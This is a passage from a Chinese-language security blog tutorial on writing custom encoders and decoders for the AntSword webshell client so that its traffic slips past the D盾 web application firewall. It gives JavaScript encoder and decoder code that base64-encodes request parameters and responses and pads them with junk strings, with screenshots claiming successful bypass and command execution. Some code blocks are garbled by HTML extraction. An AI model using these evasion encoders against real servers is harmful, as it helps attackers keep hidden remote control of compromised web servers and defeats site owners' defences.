<p>可看到的确在数据包前后添加了我们自定义的字符串,这样的话就可避免waf使用base64解码成功,但是webshell却可以正常处理payload。</p>
<p>下面验证下自定义的编码器能否bypass D盾:</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2021%2011%2013%2017.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2021%2011%2013%2017.png"; alt="20200521111317"></p>
<p>D盾将上传的webshell判断为1级,1级是可以免杀的,再结合我们的编码器就可以顺利byapss:</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2021%2011%2016%2029.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2021%2011%2016%2029.png"; alt="20200521111629"></p>
<h3>bypass命令执行</h3>
<p>意外总是来的太快,使用上面的编码器确实可以使用蚁剑连接我们的webshell了,也可以查看目录下的文件,但确无法执行命令,每次命令执行都会被D盾拦截。</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2021%2012%2032%2058.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2021%2012%2032%2058.png"; alt="20200521123258"></p>
<p>抓包观察下发送的数据包:</p>
<p>可看到参数kd8aa13e6949d3的值还是base64编码,解码后的值为:cd /d "C:/phpstudy/PHPTutorial/WWW"&whoami&echo [S]&cd&echo [E]还是具有明显的特征会被waf拦截。</p>
<p>由于蚁剑只会对data[pwd]里面的参数按照设定的编码器编码,其它参数默认使用base64编码,所以其它参数一旦被waf解码还是会有明显的特征,从而导致被拦截。那有办法将全部的参数编码吗?在蚁剑的一个issue里,作者给出了解决办法,具体的请去这里查看。</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2021%2013%2044%2011.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2021%2013%2044%2011.png"; alt="20200521134411"></p>
<p>可以看到解决办法是遍历data[_]取出其中的值并将其全部编码,按照这种思路修改下上面写的编码器:</p>
<pre><div class="hljs"><span class="hljs-comment">/
<p></p><ul><li>php::base64编码器</li><li>Create at: 2020/05/21 13:07:23</li></ul><p>/</p><p><span class="hljs-string">'use strict'</span>;</p><p><span class="hljs-comment">/</span></p><ul><li><span class="hljs-doctag">@param</span> {String} pwd 连接密码</li><li><span class="hljs-doctag">@param</span> {Array} data 编码器处理前的 payload 数组</li><li><span class="hljs-doctag">@return</span> {Array} data 编码器处理后的 payload 数组</li></ul><p>/
module.exports = (pwd, data) => {
<span class="hljs-comment">// ########## 请在下方编写你自己的代码 ###################</span>
let ret = {};
<span class="hljs-keyword">for</span> (let
in data){</p><pre><span class="hljs-keyword">if</span> (_ === <span class="hljs-string">'_'</span>) { <span class="hljs-keyword">continue</span> };
ret[_] = Buffer.from(data[_]).toString(<span class="hljs-string">'base64'</span>);
ret[_] = <span class="hljs-string">'lwk02nm'</span> + ret[_];
ret[_] += <span class="hljs-string">'lwk02nm'</span>;
</pre></span>
<p>}
ret[pwd] = Buffer.from(data[<span class="hljs-string">'_'</span>]).toString(<span class="hljs-string">'base64'</span>);
ret[pwd] = <span class="hljs-string">'lwk02nm'</span> + ret[pwd];
ret[pwd] += <span class="hljs-string">'lwk02nm'</span>;
<span class="hljs-comment">// 返回编码器处理后的 payload 数组</span>
<span class="hljs-keyword">return</span> ret;
}
</p></div></pre>
<p>顺利byapass D盾</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2021%2018%2014%2055.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2021%2018%2014%2055.png"; alt="20200521181455"></p>
<p>抓包查看发送的数据可看到所有的参数值都已经过编码器的编码,这样就能有效防止waf的base64解码了。</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2021%2018%2025%2027.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2021%2018%2025%2027.png"; alt="20200521182527"></p>
<p>这个项目中有一些写好的编码器,大家可以拿来用,另外你也可以按照自己的思路去写一个编码器,这样bypass效果会更好。</p>
<p>yzddmr6大佬已经通过修改蚁剑源码实现了上述功,项目地址是:https://github.com/yzddmr6/antSword</p>
<h2>使用解码器</h2>
<p>蚁剑的编码器是编码或者加密蚁剑向服务端发送的请求包的,所以解码器是用来编码或者加密服务端返回给蚁剑的数据包的,编码后的数据包只有蚁剑能够解码。经测试,使用编码器其实就能够bypass D盾了,但是不排除有些waf会检测返回包,所以有时也需要使用解码器。蚁剑自带了两种解码器,base64和rot13,下面还是通过抓包的方式来对比不使用解码器和使用了解码器后返回包的不同。</p>
<p>不使用解码器:</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2022%2010%2012%2013.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2022%2010%2012%2013.png"; alt="20200522101213"></p>
<p>可看到返回包中的数据均已明文显示。</p>
<p>使用base64解码器:</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2022%2010%2014%2001.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2022%2010%2014%2001.png"; alt="20200522101401"></p>
<p>现在的返回包中的数据都已使用base64进行编码了。</p>
<blockquote>
<p>很多新手朋友在使用蚁剑时都会认为编码器和解码器是成对存在的,使用了base64编码器就必须使用base64解码器,其实不是这样的,编码器和解码器除了名字有点类似,在使用时毫无关系(RAS和AES加密方式的编码器和解码器除外)。</p>
</blockquote>
<p>分析下蚁剑解码器的写法:</p>
<pre><div class="hljs"><span class="hljs-comment">/<p></p><ul><li>php::base64解码器</li><li>Create at: 2020/05/22 10:21:48</li></ul><p>/
<span class="hljs-">
'use strict'</span>;</p><p><span class="hljs-built_in">module</span>.exports = {
<span class="hljs-comment">/
</span></p><ul><li>@returns {string} asenc 将返回数据base64编码</li><li>自定义输出函数名称必须为 asenc</li><li>该函数使用的语法需要和shell保持一致</li></ul><p>/
asoutput: <span class="hljs-function"><span class="hljs-params">()</span> =></span> {</p><pre><span class="hljs-keyword">return</span> <span class="hljs-string">`function asenc($out){
return @base64_encode($out);
}
</span>.replace(<span class="hljs-regexp">/\n\s+/g</span>, <span class="hljs-string">''</span>);</code></pre><p>},<br> <span class="hljs-comment">/**</span></p><ul><li>解码 Buffer</li><li>@param {string} data 要被解码的 Buffer</li><li>@returns {string} 解码后的 Buffer</li></ul><p>*/<br> decode_buff: <span class="hljs-function">(<span class="hljs-params">data, ext={}</span>) =&gt;</span> {</p><pre><code><span class="hljs-keyword">return</span> Buffer.from(data.toString(), <span class="hljs-string">'base64'</span>);</code></pre></span></code><p><code class="lang-js">}<br>}<br></code></p></div></pre><br><p>先看下解码器的组成,这里导出了两个方法,<code>asoutput</code>及<code>decode_buff</code>。<code>asoutput</code>无需传入参数,返回一段php代码字符串,名称为<code>asenc</code>的函数,这个函数会放在请求包里,用于在服务端执行完代码后,再回显部分调用该函数asenc来编码处理,所以服务端无需针对解码做改动。</p><br><p>按照这个方式自写一个解码器:</p><br><pre><div class="hljs"><code class="lang-js"><span class="hljs-comment">/**<p></p><ul><li>php::base64自定义解码器</li><li>Create at: 2020/05/22 10:21:48</li></ul><p>*/<br><span class="hljs-"><br>'use strict'</span>;</p><p><span class="hljs-built_in">module</span>.exports = {<br> <span class="hljs-comment">/**</span></p><ul><li>@returns {string} asenc 将返回数据base64编码</li><li>自定义输出函数名称必须为 asenc</li><li>该函数使用的语法需要和shell保持一致</li></ul><p>*/<br> asoutput: <span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {</p><pre><code><span class="hljs-keyword">return</span> <span class="hljs-string">function asenc($out){
//返回时添加一个随机字符串,避免被waf解码成功
return 'wg4a2'.@base64_encode($out);
}
`</span>.replace(<span class="hljs-regexp">/ns+/g</span>, <span class="hljs-string">''</span>);
</pre><p>},
<span class="hljs-comment">/*</span></p><ul><li>解码 Buffer</li><li>@param {string} data 要被解码的 Buffer</li><li>@returns {string} 解码后的 Buffer</li></ul><p>/
decode_buff: <span class="hljs-function">(<span class="hljs-params">data, ext={}</span>) =></span> {</p><pre><span class="hljs-keyword">let</span> res = Buffer.from(data.toString().replace(<span class="hljs-regexp">/wg4a2/g</span>,<span class="hljs-string">''</span>), <span class="hljs-string">'base64'</span>);
<span class="hljs-keyword">return</span> res;
</pre></span>
<p>}
}
</p></div></pre>
<p>使用这个解码器时就会子啊返回的数据包中添加随机字符串,如下图,这样只有蚁剑客户端能够解码成功,而waf则不可以。</p>
<p><img src="<a href=" https:=";" cdn.jsdelivr.net="" gh="" handbye="" images@master="" upic="" 2020%2005%2022%2011%2031%2043.png&quot"="">https://cdn.jsdelivr.net/gh/handbye/images@master/upic/2020%2005%2022%2011%2031%2043.png"; alt="20200522113143"></p>
<p>编写解码器的思路大概就是这样的,大家可以以各种骚思路去写自己的解码器。</p>
<h2>最后</h2>
<p>除了使用常规的编码,乱序操作去写编码器和解码器,还可以使用对称加密,非对称加密等算法写编码器和解码器来逃避waf的流量检测,这种做法其实和冰蝎就很类似了。这种思路对应的文章请看这两篇:</p>
<ul>
<li>蚁剑实现动态秘钥编码器解码器</li>
<li>关于对antSword(蚁剑)进行流量混淆处理的解决方案</li>
</ul>
<p>刚开始研究蚁剑的编码器和解码器,文中有写的不对或者不好的地方还望各位师傅斧正</p>
<h2>参考文章</h2>
<ul>
<li>蚁剑改造过WAF系列(一)</li>
<li>关于对antSword(蚁剑)进行流量混淆处理的解决方案</li>
<li>蚁剑改造计划之实现其他参数的随机化</li>
<li>[红队武器] - AntSword之特征修改与流量处理</li>
<li>AntSword编码器篇(一) HelloWorld</li>
<li>蚁剑实现动态秘钥编码器解码器</li>
<li>WAF拦了蚁剑发送的其它参数时怎么操作</li>
<li>AntSword编码器篇(二)</li>
</ul><p></p><pre> </pre></div></div><p>
</p><p>
</p>

1 条评论